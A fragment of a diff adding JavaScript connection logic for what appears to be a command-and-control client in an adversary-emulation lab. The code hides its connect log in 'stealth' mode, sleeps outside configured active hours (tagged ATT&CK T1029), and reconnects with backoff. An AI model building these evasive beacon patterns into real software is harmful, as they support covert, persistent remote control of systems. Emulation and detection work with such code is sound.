connectToHost(host, port, config)
|
|
14
|
+
.then(async (socket) => {
|
|
15
|
+
if (!config.emulation || config.emulation.stealth !== true) {
|
|
16
|
+
logger.info(`Connected to ${host}:${port}`);
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
const token = (config.auth && config.auth.token) || '';
|
|
20
|
+
if (token) {
|
|
21
|
+
await performAuth(socket, token, logger);
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
socket.setKeepAlive(true, 15000);
|
|
25
|
+
resolve(socket);
|
|
26
|
+
})
|
|
27
|
+
.catch(reject);
|
|
28
|
+
});
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
async function waitForActiveWindow(config, logger) {
|
|
32
|
+
const activeHours = config.c2 && config.c2.activeHours;
|
|
33
|
+
if (!activeHours) return;
|
|
34
|
+
|
|
35
|
+
while (!isWithinActiveHours(activeHours)) {
|
|
36
|
+
if (typeof logger.labEvent === 'function') {
|
|
37
|
+
logger.labEvent({ event: 'c2_dormant', technique: 'T1029' });
|
|
38
|
+
}
|
|
39
|
+
await wait(getActiveHoursSleepMs(activeHours));
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
async function connectWithBackoff(host, port, config, logger) {
|
|
44
|
+
const reconnect = config.reconnect || {};
|
|
45
|
+
let delay = reconnect.initialDelayMs || 1000;
|
|
46
|
+
const maxDelay = reconnect.maxDelayMs || 120000;
|
|
47
|
+
const factor = reconnect.backoffFactor || 2;
|
|
48
|
+
|
|
49
|
+
while (true) {
|
|
50
|
+
await waitForActiveWindow(config, logger);
|
|
51
|
+
try {
|
|
52
|
+
const socket = await connectOnce(host, port, config, logger);
|
|
53
|
+
return socket;
|
|
54
|
+
} catch (err) {
|
|
55
|
+
delay = nextReconnectDelay(config, delay);
|
|
56
|
+
delay = Math.min(delay, maxDelay);
|
|
57
|
+
logger.warn(`Connection failed: ${err.message}, retrying in ${delay}ms`);
|
|
58
|
+
await wait(delay);
|
|
59
|
+
if (!config.c2 || !config.c2.reconnectProfile) {
|
|
60
|
+
delay = Math.min(delay * factor, maxDelay);
|
|
61
|
+
}
|
|
62
|
+
}
|
|
63
|
+
}
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
module.exports = { connectOnce, connectWithBackoff, waitForActiveWindow };
|